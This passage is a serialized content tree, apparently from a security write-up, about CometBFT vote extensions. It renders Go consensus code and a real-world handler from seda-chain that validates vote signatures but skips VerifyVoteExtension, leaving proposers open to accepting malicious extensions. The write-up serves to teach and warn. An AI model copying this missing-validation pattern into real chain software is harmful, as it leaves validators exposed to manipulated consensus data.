...\n}\n",[82936],{"type":26,"tag":53,"props":82937,"children":82938},{"__ignoreMap":7},[82939,83051,83058,83065,83073,83081,83165,83172,83180,83234,83241,83262,83269,83341,83357,83364,83438,83494,83501,83563,83570,83577,83596,83603,83610,83617],{"type":26,"tag":475,"props":82940,"children":82941},{"class":477,"line":478},[82942,82946,82950,82955,82959,82964,82968,82973,82977,82982,82986,82990,82994,82999,83003,83008,83013,83017,83022,83026,83031,83035,83039,83043,83047],{"type":26,"tag":475,"props":82943,"children":82944},{"style":482},[82945],{"type":32,"value":75929},{"type":26,"tag":475,"props":82947,"children":82948},{"style":499},[82949],{"type":32,"value":2775},{"type":26,"tag":475,"props":82951,"children":82952},{"style":2375},[82953],{"type":32,"value":82954},"cs ",{"type":26,"tag":475,"props":82956,"children":82957},{"style":714},[82958],{"type":32,"value":4282},{"type":26,"tag":475,"props":82960,"children":82961},{"style":505},[82962],{"type":32,"value":82963},"State",{"type":26,"tag":475,"props":82965,"children":82966},{"style":499},[82967],{"type":32,"value":2794},{"type":26,"tag":475,"props":82969,"children":82970},{"style":493},[82971],{"type":32,"value":82972},"addVote",{"type":26,"tag":475,"props":82974,"children":82975},{"style":499},[82976],{"type":32,"value":626},{"type":26,"tag":475,"props":82978,"children":82979},{"style":2375},[82980],{"type":32,"value":82981},"vote",{"type":26,"tag":475,"props":82983,"children":82984},{"style":714},[82985],{"type":32,"value":9525},{"type":26,"tag":475,"props":82987,"children":82988},{"style":505},[82989],{"type":32,"value":5471},{"type":26,"tag":475,"props":82991,"children":82992},{"style":499},[82993],{"type":32,"value":353},{"type":26,"tag":475,"props":82995,"children":82996},{"style":505},[82997],{"type":32,"value":82998},"Vote",{"type":26,"tag":475,"props":83000,"children":83001},{"style":499},[83002],{"type":32,"value":637},{"type":26,"tag":475,"props":83004,"children":83005},{"style":2375},[83006],{"type":32,"value":83007},"peerID",{"type":26,"tag":475,"props":83009,"children":83010},{"style":505},[83011],{"type":32,"value":83012}," p2p",{"type":26,"tag":475,"props":83014,"children":83015},{"style":499},[83016],{"type":32,"value":353},{"type":26,"tag":475,"props":83018,"children":83019},{"style":505},[83020],{"type":32,"value":83021},"ID",{"type":26,"tag":475,"props":83023,"children":83024},{"style":499},[83025],{"type":32,"value":76011},{"type":26,"tag":475,"props":83027,"children":83028},{"style":2375},[83029],{"type":32,"value":83030},"added",{"type":26,"tag":475,"props":83032,"children":83033},{"style":505},[83034],{"type":32,"value":11759},{"type":26,"tag":475,"props":83036,"children":83037},{"style":499},[83038],{"type":32,"value":637},{"type":26,"tag":475,"props":83040,"children":83041},{"style":2375},[83042],{"type":32,"value":48113},{"type":26,"tag":475,"props":83044,"children":83045},{"style":505},[83046],{"type":32,"value":14582},{"type":26,"tag":475,"props":83048,"children":83049},{"style":499},[83050],{"type":32,"value":676},{"type":26,"tag":475,"props":83052,"children":83053},{"class":477,"line":516},[83054],{"type":26,"tag":475,"props":83055,"children":83056},{"style":714},[83057],{"type":32,"value":20047},{"type":26,"tag":475,"props":83059,"children":83060},{"class":477,"line":539},[83061],{"type":26,"tag":475,"props":83062,"children":83063},{"emptyLinePlaceholder":18},[83064],{"type":32,"value":545},{"type":26,"tag":475,"props":83066,"children":83067},{"class":477,"line":548},[83068],{"type":26,"tag":475,"props":83069,"children":83070},{"style":552},[83071],{"type":32,"value":83072}," // A precommit for the previous height?\n",{"type":26,"tag":475,"props":83074,"children":83075},{"class":477,"line":558},[83076],{"type":26,"tag":475,"props":83077,"children":83078},{"style":552},[83079],{"type":32,"value":83080}," // These come in while we wait timeoutCommit\n",{"type":26,"tag":475,"props":83082,"children":83083},{"class":477,"line":582},[83084,83088,83093,83097,83102,83106,83110,83114,83119,83123,83127,83131,83135,83139,83144,83148,83152,83156,83161],{"type":26,"tag":475,"props":83085,"children":83086},{"style":586},[83087],{"type":32,"value":11988},{"type":26,"tag":475,"props":83089,"children":83090},{"style":2375},[83091],{"type":32,"value":83092}," vote",{"type":26,"tag":475,"props":83094,"children":83095},{"style":499},[83096],{"type":32,"value":353},{"type":26,"tag":475,"props":83098,"children":83099},{"style":2375},[83100],{"type":32,"value":83101},"Height",{"type":26,"tag":475,"props":83103,"children":83104},{"style":714},[83105],{"type":32,"value":1106},{"type":26,"tag":475,"props":83107,"children":83108},{"style":903},[83109],{"type":32,"value":3722},{"type":26,"tag":475,"props":83111,"children":83112},{"style":714},[83113],{"type":32,"value":2990},{"type":26,"tag":475,"props":83115,"children":83116},{"style":2375},[83117],{"type":32,"value":83118}," cs",{"type":26,"tag":475,"props":83120,"children":83121},{"style":499},[83122],{"type":32,"value":353},{"type":26,"tag":475,"props":83124,"children":83125},{"style":2375},[83126],{"type":32,"value":83101},{"type":26,"tag":475,"props":83128,"children":83129},{"style":714},[83130],{"type":32,"value":13892},{"type":26,"tag":475,"props":83132,"children":83133},{"style":2375},[83134],{"type":32,"value":83092},{"type":26,"tag":475,"props":83136,"children":83137},{"style":499},[83138],{"type":32,"value":353},{"type":26,"tag":475,"props":83140,"children":83141},{"style":2375},[83142],{"type":32,"value":83143},"Type",{"type":26,"tag":475,"props":83145,"children":83146},{"style":714},[83147],{"type":32,"value":2990},{"type":26,"tag":475,"props":83149,"children":83150},{"style":2375},[83151],{"type":32,"value":77804},{"type":26,"tag":475,"props":83153,"children":83154},{"style":499},[83155],{"type":32,"value":353},{"type":26,"tag":475,"props":83157,"children":83158},{"style":2375},[83159],{"type":32,"value":83160},"PrecommitType",{"type":26,"tag":475,"props":83162,"children":83163},{"style":499},[83164],{"type":32,"value":579},{"type":26,"tag":475,"props":83166,"children":83167},{"class":477,"line":596},[83168],{"type":26,"tag":475,"props":83169,"children":83170},{"style":714},[83171],{"type":32,"value":81464},{"type":26,"tag":475,"props":83173,"children":83174},{"class":477,"line":610},[83175],{"type":26,"tag":475,"props":83176,"children":83177},{"style":552},[83178],{"type":32,"value":83179}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":26,"tag":475,"props":83181,"children":83182},{"class":477,"line":650},[83183,83188,83192,83196,83200,83204,83208,83213,83217,83222,83226,83230],{"type":26,"tag":475,"props":83184,"children":83185},{"style":2375},[83186],{"type":32,"value":83187}," added",{"type":26,"tag":475,"props":83189,"children":83190},{"style":499},[83191],{"type":32,"value":637},{"type":26,"tag":475,"props":83193,"children":83194},{"style":2375},[83195],{"type":32,"value":48113},{"type":26,"tag":475,"props":83197,"children":83198},{"style":714},[83199],{"type":32,"value":2383},{"type":26,"tag":475,"props":83201,"children":83202},{"style":2375},[83203],{"type":32,"value":83118},{"type":26,"tag":475,"props":83205,"children":83206},{"style":499},[83207],{"type":32,"value":353},{"type":26,"tag":475,"props":83209,"children":83210},{"style":2375},[83211],{"type":32,"value":83212},"LastCommit",{"type":26,"tag":475,"props":83214,"children":83215},{"style":499},[83216],{"type":32,"value":353},{"type":26,"tag":475,"props":83218,"children":83219},{"style":493},[83220],{"type":32,"value":83221},"AddVote",{"type":26,"tag":475,"props":83223,"children":83224},{"style":499},[83225],{"type":32,"value":626},{"type":26,"tag":475,"props":83227,"children":83228},{"style":2375},[83229],{"type":32,"value":82981},{"type":26,"tag":475,"props":83231,"children":83232},{"style":499},[83233],{"type":32,"value":647},{"type":26,"tag":475,"props":83235,"children":83236},{"class":477,"line":679},[83237],{"type":26,"tag":475,"props":83238,"children":83239},{"style":714},[83240],{"type":32,"value":81464},{"type":26,"tag":475,"props":83242,"children":83243},{"class":477,"line":735},[83244,83248,83253,83257],{"type":26,"tag":475,"props":83245,"children":83246},{"style":586},[83247],{"type":32,"value":15449},{"type":26,"tag":475,"props":83249,"children":83250},{"style":2375},[83251],{"type":32,"value":83252}," added",{"type":26,"tag":475,"props":83254,"children":83255},{"style":499},[83256],{"type":32,"value":637},{"type":26,"tag":475,"props":83258,"children":83259},{"style":2375},[83260],{"type":32,"value":83261},"err\n",{"type":26,"tag":475,"props":83263,"children":83264},{"class":477,"line":744},[83265],{"type":26,"tag":475,"props":83266,"children":83267},{"style":499},[83268],{"type":32,"value":851},{"type":26,"tag":475,"props":83270,"children":83271},{"class":477,"line":753},[83272,83277,83281,83285,83289,83294,83298,83303,83307,83312,83316,83321,83325,83329,83333,83337],{"type":26,"tag":475,"props":83273,"children":83274},{"style":2375},[83275],{"type":32,"value":83276}," extEnabled",{"type":26,"tag":475,"props":83278,"children":83279},{"style":714},[83280],{"type":32,"value":76045},{"type":26,"tag":475,"props":83282,"children":83283},{"style":2375},[83284],{"type":32,"value":83118},{"type":26,"tag":475,"props":83286,"children":83287},{"style":499},[83288],{"type":32,"value":353},{"type":26,"tag":475,"props":83290,"children":83291},{"style":2375},[83292],{"type":32,"value":83293},"state",{"type":26,"tag":475,"props":83295,"children":83296},{"style":499},[83297],{"type":32,"value":353},{"type":26,"tag":475,"props":83299,"children":83300},{"style":2375},[83301],{"type":32,"value":83302},"ConsensusParams",{"type":26,"tag":475,"props":83304,"children":83305},{"style":499},[83306],{"type":32,"value":353},{"type":26,"tag":475,"props":83308,"children":83309},{"style":2375},[83310],{"type":32,"value":83311},"Feature",{"type":26,"tag":475,"props":83313,"children":83314},{"style":499},[83315],{"type":32,"value":353},{"type":26,"tag":475,"props":83317,"children":83318},{"style":493},[83319],{"type":32,"value":83320},"VoteExtensionsEnabled",{"type":26,"tag":475,"props":83322,"children":83323},{"style":499},[83324],{"type":32,"value":626},{"type":26,"tag":475,"props":83326,"children":83327},{"style":2375},[83328],{"type":32,"value":82981},{"type":26,"tag":475,"props":83330,"children":83331},{"style":499},[83332],{"type":32,"value":353},{"type":26,"tag":475,"props":83334,"children":83335},{"style":2375},[83336],{"type":32,"value":83101},{"type":26,"tag":475,"props":83338,"children":83339},{"style":499},[83340],{"type":32,"value":647},{"type":26,"tag":475,"props":83342,"children":83343},{"class":477,"line":761},[83344,83348,83353],{"type":26,"tag":475,"props":83345,"children":83346},{"style":586},[83347],{"type":32,"value":11988},{"type":26,"tag":475,"props":83349,"children":83350},{"style":2375},[83351],{"type":32,"value":83352}," extEnabled",{"type":26,"tag":475,"props":83354,"children":83355},{"style":499},[83356],{"type":32,"value":579},{"type":26,"tag":475,"props":83358,"children":83359},{"class":477,"line":770},[83360],{"type":26,"tag":475,"props":83361,"children":83362},{"style":714},[83363],{"type":32,"value":81464},{"type":26,"tag":475,"props":83365,"children":83366},{"class":477,"line":794},[83367,83371,83375,83379,83383,83387,83391,83395,83399,83403,83407,83411,83415,83420,83424,83429,83433],{"type":26,"tag":475,"props":83368,"children":83369},{"style":586},[83370],{"type":32,"value":2980},{"type":26,"tag":475,"props":83372,"children":83373},{"style":2375},[83374],{"type":32,"value":83092},{"type":26,"tag":475,"props":83376,"children":83377},{"style":499},[83378],{"type":32,"value":353},{"type":26,"tag":475,"props":83380,"children":83381},{"style":2375},[83382],{"type":32,"value":83143},{"type":26,"tag":475,"props":83384,"children":83385},{"style":714},[83386],{"type":32,"value":2990},{"type":26,"tag":475,"props":83388,"children":83389},{"style":2375},[83390],{"type":32,"value":77804},{"type":26,"tag":475,"props":83392,"children":83393},{"style":499},[83394],{"type":32,"value":353},{"type":26,"tag":475,"props":83396,"children":83397},{"style":2375},[83398],{"type":32,"value":83160},{"type":26,"tag":475,"props":83400,"children":83401},{"style":714},[83402],{"type":32,"value":13892},{"type":26,"tag":475,"props":83404,"children":83405},{"style":714},[83406],{"type":32,"value":12572},{"type":26,"tag":475,"props":83408,"children":83409},{"style":2375},[83410],{"type":32,"value":82981},{"type":26,"tag":475,"props":83412,"children":83413},{"style":499},[83414],{"type":32,"value":353},{"type":26,"tag":475,"props":83416,"children":83417},{"style":2375},[83418],{"type":32,"value":83419},"BlockID",{"type":26,"tag":475,"props":83421,"children":83422},{"style":499},[83423],{"type":32,"value":353},{"type":26,"tag":475,"props":83425,"children":83426},{"style":493},[83427],{"type":32,"value":83428},"IsNil",{"type":26,"tag":475,"props":83430,"children":83431},{"style":499},[83432],{"type":32,"value":13750},{"type":26,"tag":475,"props":83434,"children":83435},{"style":714},[83436],{"type":32,"value":83437},"&&\n",{"type":26,"tag":475,"props":83439,"children":83440},{"class":477,"line":831},[83441,83446,83451,83455,83459,83463,83467,83471,83476,83480,83485,83489],{"type":26,"tag":475,"props":83442,"children":83443},{"style":714},[83444],{"type":32,"value":83445}," !",{"type":26,"tag":475,"props":83447,"children":83448},{"style":2375},[83449],{"type":32,"value":83450},"bytes",{"type":26,"tag":475,"props":83452,"children":83453},{"style":499},[83454],{"type":32,"value":353},{"type":26,"tag":475,"props":83456,"children":83457},{"style":493},[83458],{"type":32,"value":81920},{"type":26,"tag":475,"props":83460,"children":83461},{"style":499},[83462],{"type":32,"value":626},{"type":26,"tag":475,"props":83464,"children":83465},{"style":2375},[83466],{"type":32,"value":82981},{"type":26,"tag":475,"props":83468,"children":83469},{"style":499},[83470],{"type":32,"value":353},{"type":26,"tag":475,"props":83472,"children":83473},{"style":2375},[83474],{"type":32,"value":83475},"ValidatorAddress",{"type":26,"tag":475,"props":83477,"children":83478},{"style":499},[83479],{"type":32,"value":637},{"type":26,"tag":475,"props":83481,"children":83482},{"style":2375},[83483],{"type":32,"value":83484},"myAddr",{"type":26,"tag":475,"props":83486,"children":83487},{"style":499},[83488],{"type":32,"value":23689},{"type":26,"tag":475,"props":83490,"children":83491},{"style":552},[83492],{"type":32,"value":83493},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":26,"tag":475,"props":83495,"children":83496},{"class":477,"line":845},[83497],{"type":26,"tag":475,"props":83498,"children":83499},{"style":714},[83500],{"type":32,"value":82140},{"type":26,"tag":475,"props":83502,"children":83503},{"class":477,"line":854},[83504,83508,83512,83516,83520,83525,83529,83533,83537,83542,83546,83551,83555,83559],{"type":26,"tag":475,"props":83505,"children":83506},{"style":2375},[83507],{"type":32,"value":81958},{"type":26,"tag":475,"props":83509,"children":83510},{"style":714},[83511],{"type":32,"value":76045},{"type":26,"tag":475,"props":83513,"children":83514},{"style":2375},[83515],{"type":32,"value":83118},{"type":26,"tag":475,"props":83517,"children":83518},{"style":499},[83519],{"type":32,"value":353},{"type":26,"tag":475,"props":83521,"children":83522},{"style":2375},[83523],{"type":32,"value":83524},"blockExec",{"type":26,"tag":475,"props":83526,"children":83527},{"style":499},[83528],{"type":32,"value":353},{"type":26,"tag":475,"props":83530,"children":83531},{"style":493},[83532],{"type":32,"value":82786},{"type":26,"tag":475,"props":83534,"children":83535},{"style":499},[83536],{"type":32,"value":626},{"type":26,"tag":475,"props":83538,"children":83539},{"style":2375},[83540],{"type":32,"value":83541},"context",{"type":26,"tag":475,"props":83543,"children":83544},{"style":499},[83545],{"type":32,"value":353},{"type":26,"tag":475,"props":83547,"children":83548},{"style":493},[83549],{"type":32,"value":83550},"TODO",{"type":26,"tag":475,"props":83552,"children":83553},{"style":499},[83554],{"type":32,"value":18083},{"type":26,"tag":475,"props":83556,"children":83557},{"style":2375},[83558],{"type":32,"value":82981},{"type":26,"tag":475,"props":83560,"children":83561},{"style":499},[83562],{"type":32,"value":647},{"type":26,"tag":475,"props":83564,"children":83565},{"class":477,"line":862},[83566],{"type":26,"tag":475,"props":83567,"children":83568},{"style":714},[83569],{"type":32,"value":82140},{"type":26,"tag":475,"props":83571,"children":83572},{"class":477,"line":885},[83573],{"type":26,"tag":475,"props":83574,"children":83575},{"style":499},[83576],{"type":32,"value":750},{"type":26,"tag":475,"props":83578,"children":83579},{"class":477,"line":913},[83580,83584,83588,83592],{"type":26,"tag":475,"props":83581,"children":83582},{"style":499},[83583],{"type":32,"value":15484},{"type":26,"tag":475,"props":83585,"children":83586},{"style":586},[83587],{"type":32,"value":3023},{"type":26,"tag":475,"props":83589,"children":83590},{"style":586},[83591],{"type":32,"value":15493},{"type":26,"tag":475,"props":83593,"children":83594},{"style":499},[83595],{"type":32,"value":579},{"type":26,"tag":475,"props":83597,"children":83598},{"class":477,"line":926},[83599],{"type":26,"tag":475,"props":83600,"children":83601},{"style":714},[83602],{"type":32,"value":81464},{"type":26,"tag":475,"props":83604,"children":83605},{"class":477,"line":948},[83606],{"type":26,"tag":475,"props":83607,"children":83608},{"style":499},[83609],{"type":32,"value":851},{"type":26,"tag":475,"props":83611,"children":83612},{"class":477,"line":966},[83613],{"type":26,"tag":475,"props":83614,"children":83615},{"style":714},[83616],{"type":32,"value":20047},{"type":26,"tag":475,"props":83618,"children":83619},{"class":477,"line":979},[83620],{"type":26,"tag":475,"props":83621,"children":83622},{"style":499},[83623],{"type":32,"value":3607},{"type":26,"tag":35,"props":83625,"children":83626},{},[83627],{"type":32,"value":83628},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":26,"tag":41,"props":83630,"children":83632},{"id":83631},"real-world-examples-4",[83633],{"type":32,"value":76318},{"type":26,"tag":35,"props":83635,"children":83636},{},[83637,83639,83644,83646,83652,83654,83660],{"type":32,"value":83638},"An example of the bug we just described is shown here. ",{"type":26,"tag":53,"props":83640,"children":83642},{"className":83641},[],[83643],{"type":32,"value":82765},{"type":32,"value":83645}," only checks that each vote is properly signed by a validator in ",{"type":26,"tag":53,"props":83647,"children":83649},{"className":83648},[],[83650],{"type":32,"value":83651},"ValidateVoteExtension",{"type":32,"value":83653}," but does not verify it against the rules in ",{"type":26,"tag":53,"props":83655,"children":83657},{"className":83656},[],[83658],{"type":32,"value":83659},"VerifyVoteExtention.",{"type":32,"value":83661}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":26,"tag":35,"props":83663,"children":83664},{},[83665],{"type":26,"tag":116,"props":83666,"children":83669},{"href":83667,"rel":83668},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[120],[83670],{"type":32,"value":76368},{"type":26,"tag":465,"props":83672,"children":83674},{"code":83673,"language":75793,"meta":7,"className":75794,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[83675],{"type":26,"tag":53,"props":83676,"children":83677},{"__ignoreMap":7},[83678,83732,83823,83830,83851,83918,83926,84031,84054,84073,84080,84134,84157,84212,84231,84238,84245,84252,84306,84313,84339,84362,84414,84476,84483,84510,84530,84542,84549],{"type":26,"tag":475,"props":83679,"children":83680},{"class":477,"line":478},[83681,83685,83689,83694,83698,83703,83707,83712,83716,83720,83724,83728],{"type":26,"tag":475,"props":83682,"children":83683},{"style":482},[83684],{"type":32,"value":75929},{"type":26,"tag":475,"props":83686,"children":83687},{"style":499},[83688],{"type":32,"value":2775},{"type":26,"tag":475,"props":83690,"children":83691},{"style":2375},[83692],{"type":32,"value":83693},"h ",{"type":26,"tag":475,"props":83695,"children":83696},{"style":714},[83697],{"type":32,"value":4282},{"type":26,"tag":475,"props":83699,"children":83700},{"style":505},[83701],{"type":32,"value":83702},"Handlers",{"type":26,"tag":475,"props":83704,"children":83705},{"style":499},[83706],{"type":32,"value":2794},{"type":26,"tag":475,"props":83708,"children":83709},{"style":493},[83710],{"type":32,"value":83711},"PrepareProposalHandler",{"type":26,"tag":475,"props":83713,"children":83714},{"style":499},[83715],{"type":32,"value":13750},{"type":26,"tag":475,"props":83717,"children":83718},{"style":505},[83719],{"type":32,"value":78359},{"type":26,"tag":475,"props":83721,"children":83722},{"style":499},[83723],{"type":32,"value":353},{"type":26,"tag":475,"props":83725,"children":83726},{"style":505},[83727],{"type":32,"value":83711},{"type":26,"tag":475,"props":83729,"children":83730},{"style":499},[83731],{"type":32,"value":579},{"type":26,"tag":475,"props":83733,"children":83734},{"class":477,"line":516},[83735,83739,83743,83747,83751,83755,83759,83763,83767,83772,83776,83781,83785,83790,83794,83798,83802,83806,83811,83815,83819],{"type":26,"tag":475,"props":83736,"children":83737},{"style":586},[83738],{"type":32,"value":16695},{"type":26,"tag":475,"props":83740,"children":83741},{"style":482},[83742],{"type":32,"value":79638},{"type":26,"tag":475,"props":83744,"children":83745},{"style":499},[83746],{"type":32,"value":626},{"type":26,"tag":475,"props":83748,"children":83749},{"style":2375},[83750],{"type":32,"value":19988},{"type":26,"tag":475,"props":83752,"children":83753},{"style":505},[83754],{"type":32,"value":78270},{"type":26,"tag":475,"props":83756,"children":83757},{"style":499},[83758],{"type":32,"value":353},{"type":26,"tag":475,"props":83760,"children":83761},{"style":505},[83762],{"type":32,"value":75978},{"type":26,"tag":475,"props":83764,"children":83765},{"style":499},[83766],{"type":32,"value":637},{"type":26,"tag":475,"props":83768,"children":83769},{"style":2375},[83770],{"type":32,"value":83771},"req",{"type":26,"tag":475,"props":83773,"children":83774},{"style":714},[83775],{"type":32,"value":9525},{"type":26,"tag":475,"props":83777,"children":83778},{"style":505},[83779],{"type":32,"value":83780},"abcitypes",{"type":26,"tag":475,"props":83782,"children":83783},{"style":499},[83784],{"type":32,"value":353},{"type":26,"tag":475,"props":83786,"children":83787},{"style":505},[83788],{"type":32,"value":83789},"RequestPrepareProposal",{"type":26,"tag":475,"props":83791,"children":83792},{"style":499},[83793],{"type":32,"value":76011},{"type":26,"tag":475,"props":83795,"children":83796},{"style":714},[83797],{"type":32,"value":4282},{"type":26,"tag":475,"props":83799,"children":83800},{"style":505},[83801],{"type":32,"value":83780},{"type":26,"tag":475,"props":83803,"children":83804},{"style":499},[83805],{"type":32,"value":353},{"type":26,"tag":475,"props":83807,"children":83808},{"style":505},[83809],{"type":32,"value":83810},"ResponsePrepareProposal",{"type":26,"tag":475,"props":83812,"children":83813},{"style":499},[83814],{"type":32,"value":637},{"type":26,"tag":475,"props":83816,"children":83817},{"style":505},[83818],{"type":32,"value":14569},{"type":26,"tag":475,"props":83820,"children":83821},{"style":499},[83822],{"type":32,"value":676},{"type":26,"tag":475,"props":83824,"children":83825},{"class":477,"line":539},[83826],{"type":26,"tag":475,"props":83827,"children":83828},{"style":714},[83829],{"type":32,"value":81464},{"type":26,"tag":475,"props":83831,"children":83832},{"class":477,"line":548},[83833,83837,83842,83846],{"type":26,"tag":475,"props":83834,"children":83835},{"style":482},[83836],{"type":32,"value":79747},{"type":26,"tag":475,"props":83838,"children":83839},{"style":2375},[83840],{"type":32,"value":83841}," injection",{"type":26,"tag":475,"props":83843,"children":83844},{"style":499},[83845],{"type":32,"value":75856},{"type":26,"tag":475,"props":83847,"children":83848},{"style":505},[83849],{"type":32,"value":83850},"byte\n",{"type":26,"tag":475,"props":83852,"children":83853},{"class":477,"line":558},[83854,83858,83863,83867,83871,83875,83879,83883,83887,83891,83896,83900,83905,83909,83914],{"type":26,"tag":475,"props":83855,"children":83856},{"style":586},[83857],{"type":32,"value":2980},{"type":26,"tag":475,"props":83859,"children":83860},{"style":2375},[83861],{"type":32,"value":83862}," req",{"type":26,"tag":475,"props":83864,"children":83865},{"style":499},[83866],{"type":32,"value":353},{"type":26,"tag":475,"props":83868,"children":83869},{"style":2375},[83870],{"type":32,"value":83101},{"type":26,"tag":475,"props":83872,"children":83873},{"style":714},[83874],{"type":32,"value":13901},{"type":26,"tag":475,"props":83876,"children":83877},{"style":2375},[83878],{"type":32,"value":25544},{"type":26,"tag":475,"props":83880,"children":83881},{"style":499},[83882],{"type":32,"value":353},{"type":26,"tag":475,"props":83884,"children":83885},{"style":493},[83886],{"type":32,"value":83302},{"type":26,"tag":475,"props":83888,"children":83889},{"style":499},[83890],{"type":32,"value":29871},{"type":26,"tag":475,"props":83892,"children":83893},{"style":2375},[83894],{"type":32,"value":83895},"Abci",{"type":26,"tag":475,"props":83897,"children":83898},{"style":499},[83899],{"type":32,"value":353},{"type":26,"tag":475,"props":83901,"children":83902},{"style":2375},[83903],{"type":32,"value":83904},"VoteExtensionsEnableHeight",{"type":26,"tag":475,"props":83906,"children":83907},{"style":714},[83908],{"type":32,"value":13892},{"type":26,"tag":475,"props":83910,"children":83911},{"style":2375},[83912],{"type":32,"value":83913}," collectSigs",{"type":26,"tag":475,"props":83915,"children":83916},{"style":499},[83917],{"type":32,"value":579},{"type":26,"tag":475,"props":83919,"children":83920},{"class":477,"line":582},[83921],{"type":26,"tag":475,"props":83922,"children":83923},{"style":552},[83924],{"type":32,"value":83925}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":26,"tag":475,"props":83927,"children":83928},{"class":477,"line":596},[83929,83933,83937,83942,83946,83951,83955,83959,83963,83968,83972,83977,83981,83985,83989,83993,83997,84001,84005,84010,84014,84018,84022,84027],{"type":26,"tag":475,"props":83930,"children":83931},{"style":2375},[83932],{"type":32,"value":81958},{"type":26,"tag":475,"props":83934,"children":83935},{"style":714},[83936],{"type":32,"value":76045},{"type":26,"tag":475,"props":83938,"children":83939},{"style":2375},[83940],{"type":32,"value":83941}," baseapp",{"type":26,"tag":475,"props":83943,"children":83944},{"style":499},[83945],{"type":32,"value":353},{"type":26,"tag":475,"props":83947,"children":83948},{"style":493},[83949],{"type":32,"value":83950},"ValidateVoteExtensions",{"type":26,"tag":475,"props":83952,"children":83953},{"style":499},[83954],{"type":32,"value":626},{"type":26,"tag":475,"props":83956,"children":83957},{"style":2375},[83958],{"type":32,"value":19988},{"type":26,"tag":475,"props":83960,"children":83961},{"style":499},[83962],{"type":32,"value":637},{"type":26,"tag":475,"props":83964,"children":83965},{"style":2375},[83966],{"type":32,"value":83967},"h",{"type":26,"tag":475,"props":83969,"children":83970},{"style":499},[83971],{"type":32,"value":353},{"type":26,"tag":475,"props":83973,"children":83974},{"style":2375},[83975],{"type":32,"value":83976},"stakingKeeper",{"type":26,"tag":475,"props":83978,"children":83979},{"style":499},[83980],{"type":32,"value":637},{"type":26,"tag":475,"props":83982,"children":83983},{"style":2375},[83984],{"type":32,"value":83771},{"type":26,"tag":475,"props":83986,"children":83987},{"style":499},[83988],{"type":32,"value":353},{"type":26,"tag":475,"props":83990,"children":83991},{"style":2375},[83992],{"type":32,"value":83101},{"type":26,"tag":475,"props":83994,"children":83995},{"style":499},[83996],{"type":32,"value":637},{"type":26,"tag":475,"props":83998,"children":83999},{"style":2375},[84000],{"type":32,"value":19988},{"type":26,"tag":475,"props":84002,"children":84003},{"style":499},[84004],{"type":32,"value":353},{"type":26,"tag":475,"props":84006,"children":84007},{"style":493},[84008],{"type":32,"value":84009},"ChainID",{"type":26,"tag":475,"props":84011,"children":84012},{"style":499},[84013],{"type":32,"value":18083},{"type":26,"tag":475,"props":84015,"children":84016},{"style":2375},[84017],{"type":32,"value":83771},{"type":26,"tag":475,"props":84019,"children":84020},{"style":499},[84021],{"type":32,"value":353},{"type":26,"tag":475,"props":84023,"children":84024},{"style":2375},[84025],{"type":32,"value":84026},"LocalLastCommit",{"type":26,"tag":475,"props":84028,"children":84029},{"style":499},[84030],{"type":32,"value":647},{"type":26,"tag":475,"props":84032,"children":84033},{"class":477,"line":610},[84034,84038,84042,84046,84050],{"type":26,"tag":475,"props":84035,"children":84036},{"style":586},[84037],{"type":32,"value":58493},{"type":26,"tag":475,"props":84039,"children":84040},{"style":2375},[84041],{"type":32,"value":48214},{"type":26,"tag":475,"props":84043,"children":84044},{"style":714},[84045],{"type":32,"value":64079},{"type":26,"tag":475,"props":84047,"children":84048},{"style":482},[84049],{"type":32,"value":81540},{"type":26,"tag":475,"props":84051,"children":84052},{"style":499},[84053],{"type":32,"value":579},{"type":26,"tag":475,"props":84055,"children":84056},{"class":477,"line":650},[84057,84061,84065,84069],{"type":26,"tag":475,"props":84058,"children":84059},{"style":586},[84060],{"type":32,"value":60420},{"type":26,"tag":475,"props":84062,"children":84063},{"style":482},[84064],{"type":32,"value":81540},{"type":26,"tag":475,"props":84066,"children":84067},{"style":499},[84068],{"type":32,"value":637},{"type":26,"tag":475,"props":84070,"children":84071},{"style":2375},[84072],{"type":32,"value":83261},{"type":26,"tag":475,"props":84074,"children":84075},{"class":477,"line":679},[84076],{"type":26,"tag":475,"props":84077,"children":84078},{"style":499},[84079],{"type":32,"value":741},{"type":26,"tag":475,"props":84081,"children":84082},{"class":477,"line":735},[84083,84088,84092,84096,84100,84105,84109,84114,84118,84122,84126,84130],{"type":26,"tag":475,"props":84084,"children":84085},{"style":2375},[84086],{"type":32,"value":84087}," injection",{"type":26,"tag":475,"props":84089,"children":84090},{"style":499},[84091],{"type":32,"value":637},{"type":26,"tag":475,"props":84093,"children":84094},{"style":2375},[84095],{"type":32,"value":48113},{"type":26,"tag":475,"props":84097,"children":84098},{"style":714},[84099],{"type":32,"value":2383},{"type":26,"tag":475,"props":84101,"children":84102},{"style":2375},[84103],{"type":32,"value":84104}," 